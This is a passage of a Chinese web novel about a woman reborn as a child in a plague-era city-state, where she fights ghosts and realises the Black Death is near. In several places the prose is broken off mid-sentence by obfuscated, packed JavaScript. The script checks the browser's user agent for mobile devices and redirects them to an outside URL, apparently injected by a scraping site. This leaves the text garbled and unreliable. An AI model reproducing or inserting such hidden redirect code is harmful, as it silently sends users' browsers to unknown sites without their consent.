如果真要送到修女院,为了能让她生活好些,那也得必须准备一笔钱捐赠出去…… 心中盘算着各种各样的事,马西莫也没有耽误工作。 他快速在工地各处转了一圈确定工程进度,训斥了几名试图偷懒的懒汉,没过多久便到了吃午餐的时间。 等到太阳升到最高处、教堂的钟再次敲响时,首席监造人乔瓦尼大师照例来工地巡查。 作为意图恩诺半岛上最知名的建筑师和雕塑家,乔瓦尼大师身上的衣服明显要比工地上其他人好很多。 男人正值壮年,褐色的头发和胡须都被精心修剪过,身材高大,高隆的颧骨总是带着健康的粉色,更能凸显其硬朗的面部轮廓。浓眉下那双炯炯有神的眼睛扫过来,原本还会窃窃私语的学徒们都会不自觉地噤声。 “马西莫!我的老伙计,你总算回来了!” 再次见到自己的副手兼好友,乔瓦尼整个人的心情立刻变得跟此时的天气一样明媚。 他一把抱住好友,重重拍了拍对方的肩膀,用一如既往的大嗓门问候道:“菲丽希安娜的伤势怎么样了?已经能起床了吗?” 看着这个明明与自己年纪相仿,可整个人的精神气都比自己年轻很多岁的好友,马西莫只能露出一个苦笑:“暂时还不能……不过她一天能醒几次,我给她喂吃的她也能吞咽,稍后还是要请马可修士来看看……” 随着他的讲述,乔瓦尼大师脸上的表情也越来越阴沉,最后还很不文明地骂了句脏话。 “你真不该就这么放过那些恶劣的臭小鬼!”他往地上吐了口唾沫,愤愤道,“就算他们年纪小也该找他们的父母讨个说法!实在不行就上法庭,都是些什么东西!” “……我现在只想她能平安醒过来。只要她能醒过来,就算用我这条命换都可以……” “别这么说!”乔瓦尼打断他的话,又上下打量起老友那不太好的脸色,视线在他胡子下的一块不起眼的脓包上停了下,这才蹙眉劝道,“就算为了你那可怜的孙女着想,马西莫,你该更注意自己的身体……你脖子那里是怎么了?” “可能是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当乔瓦尼大师走到骚乱中心时,已经有两位穿着黑衣的执事赶到现场,并指挥着周围人将人抬到休息处。 “……等等!” 人刚被抬起,其中一位执事忽地脸色大变,急声让其他人把人放下。 他上前在躺在地上那人身上按了几处,最后脸色惨白地扶着同伴站起身。 “他……死了……” 黑衣执事不可置信地看了圈周围,尤其是那些与尸体穿着相似衣服的平教徒们:“他是谁?是怎么死的?你们之前都做了什么?” 其他人面面相觑一阵,谁都没能立刻理解这突如其来的变故,脸上的惊讶明显盖过了恐惧。 “我们……什么都没做啊。”半晌后,一人小声开口道,“我们都是来悼念派勒乌索教授的。听说他将他的遗产全都平分给了城里的穷人,这样的大善人我们当然要来悼念一下……” “那人应该是派勒乌索家的,我在送葬队伍里见到过他。他们原本留了几个在这里看守棺材,大概是中午其他人都去吃饭了,只留他一个在这里……” 另外一人指着死者,惊魂未定地补充道:“吾主可以做证,我们真的什么都没做啊!我刚刚还跟他说话了来着,看着挺正常的,就是好像有点累了,还流了点鼻血……可谁会因为流点鼻血就死了啊!” “圣母在上,现在说这些还有什么用?快去通知派勒乌索家的人……” 在执事的指挥下,周围人终于不再聚集在尸体身边,只有乔瓦尼大师还愣愣站在一旁。 他的视线像是被什么黏住,身体如牵线木偶般僵硬地移动到尸体边,缓缓蹲下。 一旁的执事发现了他的异状,开口询问道:“乔瓦尼大师,您是认识这个人吗?” “…………” “不,我不认识……” 乔瓦尼大师恍惚地伸出手,轻轻将那人的脑袋拨到侧面,拽开了他的领子。 当尸体的侧脖颈完全展露出来时,几个十分明显的黑色斑点和一个足有无花果般大的巨大脓包赫然落进所有人眼中。 4. 阿斯卡共和国4 004 阿斯卡城是一座典型的山城,顾名思义,整座城市建在山丘之上。 城中的石板路上上下下大多有坡度,而大教堂理所应当地建在山丘的最高处。 从大教堂出发回家,一路几乎都是下坡路,再加上马西莫的房子距离教堂并不算远,疾走了十分钟男人就气喘吁吁地来到自己的家门口。 菲丽丝万万没想到,自己还没想出如何处理着全身上下不知多少的虱子,这么快就迎来了自己的“终极期末考”。 面对这个冲到自己面前的中年壮汉,她本能感到无措,而这种无措通过现在这副幼小身体表现出来明显放大了不少,顿时让马西莫红了眼眶。 见孙女真的没事了,他先向帮忙看护的邻居道过谢,客气地请对方先回自家休息一下,这才轻手轻脚地走到女孩身边坐下,借着阁楼窗口透入的光线查看了下她头部的伤。 “没事了,没事了……吾主保佑,圣母保佑……” 男人似笑似哭的声音让菲丽丝有些不是滋味。 可还不等她开口说些什么,整个人已经被对方一把抱进怀里。 突然被陌生人抱住的感觉实在很奇怪。 尤其是眼前这位中年男人的胡子面积有些大,在毫无防备地被糊了一脸大胡子后,菲丽丝的第一反应是惊恐大于感动。 在被自己身上的虱子惊吓过后,她真的很怕这丛胡子里会蹦出什么其他品种的寄生虫小惊喜。 然而当她手脚并用地从对方的怀里挣扎出来后,却发现这个始终没什么表情的男人居然在哭。 也是这个时候,她才第一次看清自己这位名义上的“祖父”究竟是什么样子。 马西莫有一张明显经历过风吹日晒的脸,肤色也比自己或是楼下的卡特琳娜小姐黑好几个色调。 他的脸有些方,头发不多可胡须几乎遮住了半张脸。脸上已经有不少皱纹,尤其是眉头的川字纹十分明显,似乎不需要皱眉也一直在那里,更不要说那已经半白的眉毛和胡须…… 越是仔细看,越是能看到面前人展现出的老态。 之前菲丽丝还觉得他最多也就五十岁,现在对比起记忆中的那些老人形象,她又有些不确定了。 菲丽丝的父母是两个不负责任的混蛋,所以在他们被政府剥夺了抚养权后她就开始跟外祖父母一起生活了。 他们陪伴她长大,教会她独立,直至去世,他们都给予了自己能给予的全部。 尽管自己真正的外祖父与面前的男人完全不像,可有那么一瞬间,她居然从那双陌生的眼睛里看到了熟悉的情感。 “…………” “对不起……” 她垂着头不敢向上看,只带着愧疚小声说道:“我已经没事了,您不用太担心……” 不知这样的举动是否符合“小菲丽”的性格,但马西莫显然没有发现任何不对,喉咙中发出几声带着哽咽的“嗯”便跟着沉默下来。 直到他重新稳定了情绪,这才用力握了握外孙女的手,低声表示自己还要回去工作,等工作结束就会回来跟她一起吃晚饭。 菲丽丝乖巧地将人送走,总算暂时松了一口气。 一转头,突然发现原本应该待在一楼的卡特琳娜不见了。 想起之前马西莫上楼前说过的客套话,再加上现在正是正午时分,对方估计是回家吃饭了。 难得整个家里只剩下自己一个人,菲丽丝立刻甩甩头抛下那些刚刚生出的感伤,开始探索起整间房子——尤其是厕所,她现在伤快好了总不能一直用尿壶,到时候连上厕所的地方都不知道一定会显得格外可疑。 还有厨房……主要是能烧水的地方。 她身上不知还有多少虱子,就算不能洗澡也要洗个头,不然她感觉自己一定会疯掉…… 快速把整栋房子都走了一遍后,菲丽丝不得不承认,这栋房子要比她原本想象中的好很多。 这是一栋主要用石头建造的小楼,居住区域有两层。 一楼的功能性比较多,兼顾了厨房、客厅、餐厅、卧室甚至浴室的功能。当然,说是浴室,也只是指墙角挡板后那个足足能装下三个菲丽丝的大木桶。 二楼除了她自己的小房间,一间房应当是小菲丽父母的房间,一间房堆满杂物,厕所则在一个微微突出墙体、仅能容下一人的小房间内。 菲丽丝顺着那大概是“座便”的中央孔洞往下看,能清晰看到楼下的小巷街景和露天排污沟。 显然这个厕所的设计非常简洁,是不掺杂任何技巧的实用派。 由于之前就查过相应的资料,菲丽丝对这些日常家居倒是有一定的心理准备,只是实打实在能摸得到的现实中看到还是受到了不少视觉冲击。 可惜在她之前的人生里点亮的技能点实在有限,就算知道这东西未来会发展成什么样,但要细说其中的运作原理……对她这种高中科学没有选过物理课,代数都会挂科的人来说实在太艰难了。 毕竟在现代社会也不需要什么全才,单靠一项技能便能找到工作养活自己,也根本不用思考“如何从零开始建造一只抽水马桶”这种荒唐事…… 放下那些无意义的抱怨,菲丽丝深吸一口气后拍了拍自己的脸颊,从厕所中退了出来。 二楼之上其实还有一个阁楼,不过阁楼的入口在天花板上,大概要从哪儿搬个梯子才能上去,以她现在的身高上去实在有些危险,估计也不会是“小菲丽”的日常活动范围,菲丽丝仰头看了看便放弃回到一楼。 不过这趟小小的“探险”也不算是完全没有收获。 比起那个结构原始的厕所,菲丽丝对一楼的那个用于做饭和取暖的简易壁炉十分感兴趣。 她之前待过的游戏制作组正在制作一款中世纪为参考背景的幻想类游戏,但制作组的老大是个很讲究的人,或者说,是个过于讲究的人,总会反复强调“就算世界观架得再空也需要有现实做依托”,否则会缺少历史独有的“沉淀味”。 工作时菲丽丝当然觉得那人真是难伺候得很。 两人在关于游戏究竟是该更追求效率、美观还是真实性上经常发生冲突,吵起架来她都恨不得把数位板抡到对方头上,却万万没想到那些知识会在此时派上用场。 按照大部分人的认知,她熟知的那个中世纪是从西雷慕帝国灭亡开始算,一直到东雷慕帝国灭亡,一共持续一千年。 即使在后世这被称作旧大陆“最黑暗的一千年”,但到底是一千年的时光,这么长的时间跨度,就算是社会发展极其缓慢的古代也不是一成不变的,至少人们在中世纪早期和晚期的生活在各个方面都有很大的不同。 就比如眼前这个壁炉——准确来说它也不能算现代见到的那些壁炉,只是在墙壁里砌出一个长方体的空间,上方造的烟道可以将燃烧时产生的烟排出去——非常简易的结构,是一个小学生都能理解的原理,可对于几百年前的人来说想要实现并不容易。 首先就是材料。 在机械革命之前,虽然人们想要建造什么时也会使用工具,但最主要还是靠人力。 石料由采石工人们从采石场一点点凿碎,运下山,再运进城,其中花费的人力物力是现代人无法想象的。 所以除了教廷,大多也只有地方领主才有财力建造类似城堡那种纯石质的大型建筑,也只有那样的建筑中才会有“壁炉”这种会浪费石料的取暖设备,普通平民家庭一般只会在房子一楼砌一个正方形的炉床用于做饭便足够了。 可菲丽丝此时不但站在一个几乎由石头盖成的三层小楼里,从窗户往外看,整条街都铺了石板路,目之所及的房屋也几乎是石头建成的,再加上之前听说的“大学”……如果这个世界没有什么魔法之类的超自然设定,那她现在所在的城市应该相当富庶。 阿斯卡,阿斯卡…… 她确信这个名字有种很熟悉的感觉,可不管怎么想总是抓不到重点。 就在菲丽丝抓着头发用力思考时,窗外突然传来一声惊呼。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517268|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “吾主在上——你们……你们这群无礼之徒!” 那明显是个老人发出的声音,发声者强烈的震惊和愤怒非常明显,可声音本身却显得十分缥缈,与其话语中蕴含的情感有着强烈的割裂感。 听到声音的菲丽丝愣了下,不由自主地走向其中一扇靠近大门的窗户,从窗缝往外看去。 仅一眼,她就被自己眼前的一幕惊呆了。 阳光下的石板路上,一名身穿长袍、留着浓密长胡子的老人狼狈摔倒在地,周围好几只如僵尸般的“人”正在不断伸手拉扯他身体。 可诡异的是,即使老人不断发出怒骂,周围来来往往的人都仿佛看不见、听不到般互相说笑着走过,甚至有人会直接从老人和“僵尸”的身上穿过去。 “无礼……实在无礼!你们真是太野蛮了!”即使身体还在跟“僵尸”们撕扯,可当自己被人穿过时,老人还是会愤愤转头看向那“踩到”自己的路人,“能不能看点路!现在的年轻人怎么都这么没礼貌……啊————” 就在菲丽丝看得愣神时,其中一只脸上腐肉较多的“僵尸”趁老人不备直接扯下了他一只手。 猝不及防失去一只手的老人发出与之前截然不同的惨叫,凄厉中带着抑制不住的惊恐。 “你们、你们究竟是……不要过来!” 似乎终于明白了此时的状况不容乐观,老人从一开始的反抗变为想要逃跑。 可时机已经错过,几只“僵尸”已经把他按倒在地,不停撕扯着他身体,并将可以撕掉的东西统统放进嘴里。有一只格外嚣张的,甚至直接爬到老人身上啃食起来。 “不……你们不能这样……” 眼看着自己反抗不了敌人,老人不由向天空发出绝望的哀鸣:“全知的父神,慈爱的圣母!可怜可怜您的信徒吧!请将这些本该在地狱的东西放逐回地狱——” 老人的祈祷声完全没有得到任何回应,不仅如此,“僵尸”啃食的动作还因为他不再反抗而加快了,眼看着便要啃食到心脏。 感受着身上的痛楚越来越大,老人的祈祷终于在一声哀嚎后彻底变为怒骂。 “我去你的父神!该死的……我就知道你根本就不存在!天堂和地狱也根本不存在!”老人匍匐在地,用最后的力量声嘶力竭道,“我一生从未行过恶事,恪守戒律,保持贞洁,给予每一个有困难的人帮助,最后也将我的遗产全部分给了穷人!我做了我能做的全部!可你怎么忍心眼睁睁看着一个好人被如此折磨——” 啪———— 一只陀螺不知从哪儿窜了出来,在老人面前的地面上弹了两下,刻着“F”的那一面朝他倒了下来。 就在老人因突如其来的陀螺愣住时,对面的一扇门突然被推开,一个看上去只有六七岁的女孩从门后冲了出来,三两步就来到了他面前。 从老人的角度往上看,那张还很稚嫩的脸紧绷着,嘴角下压,仿佛是在隐忍着某种怒气。 老人见她紧紧盯着地上的陀螺,似乎明白了什么,因痛苦而扭曲的五官都带上了一丝无奈。 “好孩子,捡了就快点回家吧。”他趴在地上,对着这个陌生的孩子苦笑道,“这边有可恶的怪物,你千万别过来……” 话音未落,他似乎感觉那孩子的眼眸微弱地动了下。 只是角度很微妙的一点变化,他却感觉自己与女孩对上了视线。 还不等他分辨出这是否是偶然,女孩突然抬起脚,向距离她最近的“怪物”踩去。 “不……” “嗷嗷嗷嗷嗷嗷嗷嗷——————” 老人的制止声才开了个头,立刻被怪物凄厉的喊叫声淹没。 之后的几秒,他眼睁睁看着那女孩借着捡陀螺的姿势用手锤爆了一只的头,弹灰般扇碎另一只的身体……三只匍匐在他身上撕扯的怪物居然就这么随着一声声的惨叫消失了。 而做出这一切的人却像是没事人般直起身,吹了吹自己手里的陀螺,迈着一双小短腿跑回了家。 5. 阿斯卡共和国5 005 菲丽丝快步跑回家,关上门后忍不住将背靠上门板,腿一软,直接跌坐到地上。 此时她的呼吸很乱,两只手都在不住地发抖,几乎要用尽全力才没让手里的陀螺落到地上。 可与之前那种百分百的恐惧不同,她看着自己颤抖的双手,恐惧中不禁掺杂着一股兴奋。 那只出现在马可修士身上的怪物不是自己的错觉,自己把它打散了也不是错觉…… 而且即使这次她一次性打散了三只那样的怪物,身体也没产生任何不适,这说明自己在清醒后的再次晕倒也与这件事无关。 坏消息:这个世界真的有鬼。 好消息:这里的鬼不强,可以被自己一拳打爆。 果然,一切恐惧都源于火力不足。 在发现自己不需要任何道具就可以消灭那些鬼怪后,之前压在心底的担忧都跟着散了不少。 叩叩———— “菲丽,菲丽希安娜?” 身后的门猛地被人敲响,紧接传来女人焦急的声音:“你刚刚是不是出门了?” 菲丽丝听出那声音的主人,调整了下情绪便转身开了门,果然看到一脸担忧的卡特琳娜正站在门口。 “我的陀螺刚刚不小心飞出去了,我只是去把它捡回来。”菲丽丝说出自己早就准备好的借口,又在对方再度发问前立刻道歉,“对不起,我不该随便出门……” 女孩乖巧的态度让卡特琳娜想要责备都无从开口,更何况她只是过来帮人看孩子的,只要孩子没事说太多也是惹人烦。 “你的身体刚恢复了一点,现在还是不要去外面比较好。”女人劝说道,“头还晕吗?要不要回床上躺一会?” 之前睡了那么长时间,菲丽丝感觉自己都把上辈子欠下的睡眠补全了,完全没有困意。 她现在唯一想做的就是洗澡,洗不了澡也要好好洗个头。可惜她伤就伤在头上,卡特琳娜不论如何也不会允许女孩在此时洗头。 不过小姑娘爱干净也是人之常情,卡特琳娜虽然不觉得身上有虱子是什么大事,却还是回家拿了把篦子,打算一边为她梳头一边挑一下头上的虱子。 “咦……” 将女孩卷曲的头发全部梳开,卡特琳娜有些惊讶地翻了翻她浓密的发丝,继而笑道:“这不是挺干净的吗?我梳了这么长时间都没看到一只。” 闻言,菲丽丝同样惊讶地摸了摸头顶,确实再也没摸到。 难道之前那是偶然?身上刚来了那么两只虱子就被自己及时发现并抓住了? 菲丽丝的生活经验有很多,但对虱子这种在现代城市消失了很多年的物种确实算不上了解。 即使心里感觉到些许怪异,可结果终究是好的,她也没什么可抱怨…… 一边这么想着菲丽丝一边转过头,打算向为自己梳了半天头的女人道谢,却猝不及防地捕捉到一个熟悉的身影正在窗外探头探脑。 菲丽丝:………… 如果她没记错,那扇靠近餐桌的窗与墙体下的斜坡有近一层楼的高度差。除非这颗头颅的主人是个三米高的巨人,否则不可能这么稳稳从窗口探出半个身子。 大概是发现她看过来,那道身影又以自以为很快的速度躲到墙后。但他显然还不太适应自己这副能穿过实体的身体,即使看不到脸,菲丽丝还是能看到那人的半条手臂仿佛游戏穿模般出现在墙体上。 见女孩转过头后什么都没说,反而盯着自己身后的窗口发呆,卡特琳娜顿时心生怜悯,再次劝说她去休息。 这次菲丽丝没有拒绝,道过谢后一步步上楼回到自己的房间,关上房门,沉默地坐到自己的床上开始等待。 果然,没过多久,一颗鬼鬼祟祟的头颅再次从窗户边探了过来,正好与面无表情的菲丽丝对上视线。 “既然都来了,为什么还要跑?”见那留着长胡子的老人转头又要跑,菲丽丝忍不住压低声音说道,“想进来就进来吧,我知道你没有恶意。” 老者闻言顿住了。 他背对着她,看上去像是经历了一番内心挣扎,最终还是飘回了窗口。 “谢谢你帮我摆脱了那些怪物,我都不知道该如何报答……”老人的脸上还带着些尴尬,行为上却十分有礼貌地将戴在头顶的小帽摘下放于胸前,隔着窗户说道,“我没有想要打扰的意思,只是想要当面道谢……可我现在的身体有些……我担心你看到会害怕……” 如果说刚刚还有些防备心,现在菲丽丝对他的好奇已经压过恐惧。 她跳下床走到窗边,看清了老人此时的模样,总算明白他的意思了。 之前那些“僵尸”模样的东西到底给他造成了些伤害。不仅左手没了,双腿也看不到了,被撕破的袍角空荡荡地在半空中飘荡,倒是有些像自己比较熟悉的幽灵形象了。 不管是从什么角度分析,面前的这位老者显然也是那些“幽灵”的同类,区别只在于他还保有人类该有的理智,还很讲道理……光是这些,菲丽丝就明白现在是个绝佳的好机会。 她对这个陌生的世界有太多疑问,可为了伪装,这些疑问很多都无法直接向周围人询问。 幽灵就不一样了,反正别人看不到,就算幽灵会对她的来历产生怀疑也无法告诉其他人…… “只是这样还吓不到我,刚刚那些东西可比你丑多了。” 菲丽丝走回自己的床边坐下,瞬间悬空的双腿让她很不适应地交错蹬了两下,这才再次抬头看向站在窗边的老人:“我还不知道你是谁呢?你是这座城市的人吗?” “当然。我在这里出生,在这里死去,即使常年外出游历也不能改变我是个阿斯卡人。” 见她似乎有闲聊的心情,老者也跟着飘进房间,但并没有太靠近床,只礼貌地站在墙边微微颔首:“亚历山德罗·派勒乌索之子,维尔吉利奥·艾伊尼阿斯·派勒乌索向您致意。” 一连串超长的名字让菲丽丝愣了下,不过她还是抓住了其中的关键词。 “派勒乌索?你是今天上午才出殡的那……”猛然意识到自己说的话实在很没礼貌,菲丽丝立刻掐断了自己的话,带着歉意看向面前的老人,“抱歉,我没有别的意思……” “你说得没错,给我送葬的队伍确实是在今天上午出发前往的大教堂。” 提起自己已经死掉的事实,老人表情如常,甚至还有心情乐呵呵地开玩笑:“我自己都没想到我还能拥有那样隆重的葬礼,看来我那慷慨的侄子没有因为我没给他留遗产而记恨我。” 有种人似乎就是这样,不管身处什么样的环境都能以豁达的心态应对,这位名字和年龄都格外长的老人看上去就是其中之一。 尽管人们常说第一印象很靠不住,但不得不说,菲丽丝确实因为这份豁达对这位老人产生了不少好感。 “……你刚刚说过,我救了你,你想要感谢我,这应该不是口头说说的吧?” 菲丽丝紧盯着老人,突然如此说道。 老人愣了下,很快点点头:“这是自然……可我现在这样,也没有什么能帮上你的……” 菲丽丝:“我想要知道一些问题的答案,其中也许有一些会让你感到奇怪和冒犯的问题,但我希望你都能如实回答。” “哦,这当然没问题。” 听到这个,老人原本还有些木讷的脸上立刻挂起笑脸,整个人似乎都更鲜活了:“这不是我自夸,你在整个阿斯卡共和国都不会找到几个比我更博学的人,有什么问题尽管问吧!” 菲丽丝想了想,为了避免之后更加尴尬,决定把一件最要紧的事情率先解决。 “首先……你能再说一遍你的名字吗?” 话音落下,室内忽地陷入一阵诡异的寂静。 老人骄傲的面容似乎有一瞬的崩裂,眯在眼窝里的一双眼睛都瞪大了不少。那种惊奇中带着无语的眼神瞬间让菲丽丝回想起当年刚被外祖父母接回家后,第一次看到她的数学成绩时露出的表情。 “抱歉,是我刚刚说得太快了。” 对上女孩略带幽怨的视线,老人轻咳了声缓解下情绪,这才慢吞吞地说道:“我叫维尔吉利奥·派勒乌索。如果不介意,你可以叫我派勒乌索教授,我的学生们都是这么叫我的。” “派勒乌索教授。”菲丽丝毫不见外地接受了这个称呼,顺着话问道,“听说你是阿卡斯大学的教授,但我还不知道你主要教哪门学科的课程?” “七艺[*1]中没有我不擅长的。就算是神学、占星和法学方面的问题也不会轻易难倒我。”提起自己擅长的领域,派勒乌索教授骄傲地微抬起下巴,“你问吧,孩子,只要是我知道的一定知无不言。” 菲丽丝隐约感觉自己客套的说辞产生了奇怪的效果,面对老教授鼓励的目光,她居然有种不问点高深莫测的问题都会对不起他的感觉。 诡异地沉默片刻,她还是试探着问出真正意义上的第一个问题:“你能跟我讲讲这座城市的历史吗?” 这个相当没有挑战性的问题让派勒乌索教授的眉眼耷拉了一点,不过看看眼前这个大概连字都不会写的孩子,他倒是没有计较太多。 “阿斯卡城的历史要追溯到很久以前,甚至可以追溯到雷慕城建成不久后。你应该听人说过雷慕城的建立的故事吧?”见女孩的眼眸忽地亮了下,他没有在意,继续用给孩子讲故事的语气说道,“英雄后代的双生子,罗慕卢斯和雷慕斯从小被遗弃,阴差阳错中被母狼用奶水养大,长大后在七座山丘中建立了一座城邦,却又为了城邦的掌控权互相残杀……” “……最后雷慕斯杀死了哥哥,将这座城市以自己的名字命名为‘雷慕城’![*2]” 不等老教授说完,女孩已经难掩兴奋地高高举手打断道:“难道雷慕城就在附近吗?” 派勒乌索教授真是很久没有遇到这么没礼貌的“学生”了,不过看在对方救了自己,还是好脾气地点点头:“雷慕城虽然是教皇国的中心,但距离阿斯卡并不算远,只是山路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“城市?我想你应该是想说城邦吧?”虽然感到有些怪异,派勒乌索教授还是带着赞赏看向面前的小孩,“维利斯共和国距离我们很近,你知道并不奇怪,但你居然也知道威讷提共和国和西坎斯……” “所以它们都存在?!” 菲丽丝激动到差点没能控制住自己的音量,急急打断道。 “当然都存在,我不久前还在威讷提住了一段时间呢……” 老教授哭笑不得的表情在说到最后一个地名时忽地僵住,很快整个人周身的气场都变得低沉下来。 “不过那里现在可不是什么好地方……除了威讷提,整个南边和港口城市都不太妙。”老人的表情变得严肃起来,“去年秋天开始西克拉岛就出现了一种奇怪的疾病,听说一下子死了很多人,不过当时那病没有在其他地方出现,也没有人在意。可就在上个月,有着同样症状的疾病也在威讷提出现了,我离开的时候整座城在短短不到一周就死了近千人!” 这个消息仿佛一盆冷水从头顶浇下,直接将菲丽丝脑中所有的幻想全部浇灭。 什么朝圣什么旅游……在某个极其可怕的猜想下都不值一提。 “……什么疾病,能在不到一周杀死近千人……” 自言自语般低声喃喃了一句,她陡然抬头,紧盯住面前的老人:“那种病,发病时有什么症状?” “最可怕的就是这个,这种病并没有什么太明显的症状。有些人只是像平常一样在街上走路,结果走着走着就倒下去死了……” 像是再次见到那可怕的画面,派勒乌索教授忍不住闭上眼摇摇头:“不过有些人身上会出现黑色的脓疱,腋下和股沟处格外……” “今年是多少年?!” 不等他说完,菲丽丝已经从床上跳下来,瞪着眼睛三两步冲到老者面前,再也无法顾及任何事急声问道:“纪年法!这里的纪年法是什么?今年该说是几几年?!” 派勒乌索教授被她扑面而来的气势吓了一跳,身体遵循本能地向后飘了半步,嘴却按照惯性快速回答出问题的答案:“这……这要看在哪个国家。在阿斯卡,现在是共和国成立的第181年,按照教皇国成立的时间说,今年是608年……” 608年…… 即使方才已经有了心理准备,真正听到答案时菲丽丝还是忍不住感到一阵头晕目眩。 中世纪是一个怎样的时代? 由于距离现代已经太久,再次谈到它时,人们的脑中也只会从过去留下的书本窥见一二,从而总结出一些代名词。 在保守的宗教主义者眼中那是社会最稳定的时代,机械革命后人们普遍斥责其为最愚昧的时代……可不论后世如何定义,谁都无法否认的一点是,在临近中世纪的终点,一个恐怖的存在将那已经摇摇欲坠、名为“信仰”的地基彻底摧毁了。 从607年开始,它带走了旧大陆超过三分之一的人口,一度被认为是死神本身降临世间。 西陆第二次鼠疫大流行,或者一个更让后人熟知的名字——黑死病。 6. 阿斯卡共和国6 006 “黑死病”这个词给人的冲击实在太大,以至于菲丽丝许久都没有回过神。 她目前正在参与制作的那款游戏虽然也是类中世纪背景,但为了增加游戏的趣味性,其中糅杂了很多不同时代的元素,其中属文艺复兴时期的元素最多。 毕竟大多数人玩游戏的目的是放松而不是上课,比起思想都会受到禁锢的封建时代,较为开放的文艺复兴时期显然更能让现代人接受。 而由于在其早期爆发的黑死病实在太过可怖,导致之后几个世纪都有画家把这一刻入骨髓的恐惧融入绘画,以此诞生的、以“死亡之舞”为主题的壁画和版画因此流传了下来。 也是因为这个原因,菲丽丝在查找资料的时候顺便找到不少有关黑死病的资料。 黑死病,一般代指从607年开始,在旧大陆上持续了数年的鼠疫大流行。 这场浩浩荡荡的瘟疫来势汹汹,整个西陆上的国家几乎无一幸免,直接带走了当时三分之一的总人口。 最恐怖的是,三分之一并不是生了病会死亡的概率,传说这种病得了就几乎不会生还[*1]。 而三分之一也只是一个平均值。事实上无数城市和镇子因此成为空城,农庄被废弃……按照当时的作家描写,由于死人太多、死亡速度也太快,有些人只是走在路上就会突然倒地死亡,人们都没有足够的精力挖掘墓穴安葬他们,许多地方的尸体都堆在街头,可谓是真正的人间炼狱。 阿斯卡,阿斯卡…… 在想到黑死病后,她终于该死地想起自己到底在哪里见过这个名字了,分明就在意图恩诺的旅游手册上! 中世纪晚期的意图恩诺与西陆上其他国家不太一样。即使思想受到一定禁锢,可这个古帝国的发源地到底残留着先贤们遗产,再加上肥沃的土地和地理优势,东雷慕帝国的商船想要继续向西走必须经过这里的港口,先进的知识跟着往来的商品一起汇聚在了这里。 自由贸易让意图恩诺半岛上的人积累了大量财富,原本稳定的社会结构也发生了变化,逐渐出现了比普通商人更加有钱的“大商人”。 除了那些出生起就站在金字塔顶端的少数人,没有人不想往上爬,这些早期资本家也一样。 古雷慕帝国本身就有共和时期,借着这样的思想做基础,再加上中世纪晚期原本控制意图恩诺半岛的神圣雷慕帝国开始衰败,再也无法维持对半岛的实际统治,整个意图恩诺半岛上的城市开始纷纷独立成为自由城邦或共和国。 阿斯卡就是其中之一。 它与它的邻居,文艺复兴的起点——被称作“春之城”的维利斯一样,这是一座由早期资本家们共同经营的自由城邦,一度被称作“阿斯卡共和国”。 而菲丽丝之所以能在旅游手册上众多城市名中记住它,不但是因为它距离维利斯城很近、城市历史建筑保留完整,是“维利斯周边游”的主要推荐目的地之一。也因为旅游手册提到的,这座城曾几乎被黑死病彻底摧毁。 曾经的阿斯卡共和国与维利斯共和国地理位置相距很近,又都是以羊毛贸易起家,两者从很久以前就看对方不顺眼,可总是因为实力相近无法完全击溃对方。 而事情的转机就在黑死病。这场可怕的瘟疫平等地降临在这两座城市中,维利斯在这场瘟疫中失去了三分之一的居民,而阿斯卡更加惨烈,直接损失了近70%的人口[*2]。 在那个还没有经过机械革命的时代,人就是最主要的劳动力和财富,如此突然地损失掉这么多劳动力,足以让一个只有松散政府的自由城邦崩溃。 黑死病后,阿斯卡从此再也没能维持往日的辉煌,原本想要扩建的大教堂都被迫停工,一直烂尾到了七百多年后的现代,算是世界著名的烂尾建筑之一…… 在旅游手册中看到教堂的烂尾墙时菲丽丝还能津津有味地品评一番,可当一切都成为现实摆在面前时,她实在无法想那么多了。 超过三分之二的死亡率让她感到毛骨悚然,在真实的灾难摆到面前时,她实在不敢赌自己是否能成为那幸运的三分之一。 唯一值得庆幸的是,这在现代被称作“鼠疫”的秘密已经被医学破解。 与其他许多疾病一样,它的始作俑者也不过是一种细菌,最常见的传播方式反而是血液传播,媒介为动物身上常见的吸血寄生虫。 比起防范那些空气传播的疾病,防范寄生虫着实简单不少。 虱子跳蚤虽然在这里很常见,但只要多注意个人卫生,多洗澡多洗衣服被单,寄生虫的数量终归会减少。 而且她之前试探过,照顾她的卡特琳娜对她想要洗澡的要求并不十分惊讶,也没有刻板印象中“中世纪的人觉得不洗澡最好”的观念,这让她稍微对对抗瘟疫有了一点点信心,至少应该可以说服小菲丽的外公。 当然,最好的解决方法自然是把瘟疫的原因广而告之,阻止更多人患病才能减缓它的传播。 可即使在她原本的时代,人类真正开始重视微生物并展开研究也不过才一百多年。 现在的她手里既没有显微镜,又没有能力手搓出一台显微镜,在这个圣教教经还被当作公认权威的时代,她就算知道真相,直接说出结果,真的会有人相信她吗…… “菲丽……菲丽希安娜!你快下来一下!” 就在菲丽丝绞尽脑汁寻求解决方法时,楼下女人带着慌张的疾呼瞬间打断了她的思绪。 飘在一旁的派勒乌索教授见她一时没有动作,直接沉下身体来到一楼门口看了眼,这才又浮上来,提醒道:“你家门口来人了。” 